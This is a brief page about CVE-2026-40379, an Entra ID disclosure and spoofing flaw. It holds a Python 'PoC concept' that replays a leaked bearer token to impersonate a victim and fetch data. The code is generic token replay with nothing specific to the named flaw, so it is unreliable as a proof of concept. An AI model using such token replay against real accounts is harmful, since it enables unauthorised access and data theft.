CVE-2026-40379 Azure Entra ID信息泄露与欺骗漏洞

# PoC Concept for CVE-2026-40379 # This is a demonstration of the logic flow for the spoofing attack. import requests def exploit_spoofing(target_url, leaked_token): """ Simulates the spoofing attack using exposed sensitive information. Note: This is for educational purposes only. """ headers = { "Authorization": f"Bearer {leaked_token}", "User-Agent": "AttackerTool/1.0" } # The attacker sends a crafted request to spoof the victim's identity response = requests.get(target_url, headers=headers) if response.status_code == 200: print("[+] Spoofing successful! Sensitive data obtained.") return response.text else: print("[-] Attack failed.") return None # Example usage (hypothetical) # target = "https://entra.microsoft.com/api/vulnerable/endpoint" # token = "exposed_sensitive_token_from_cve" # exploit_spoofing(target, token)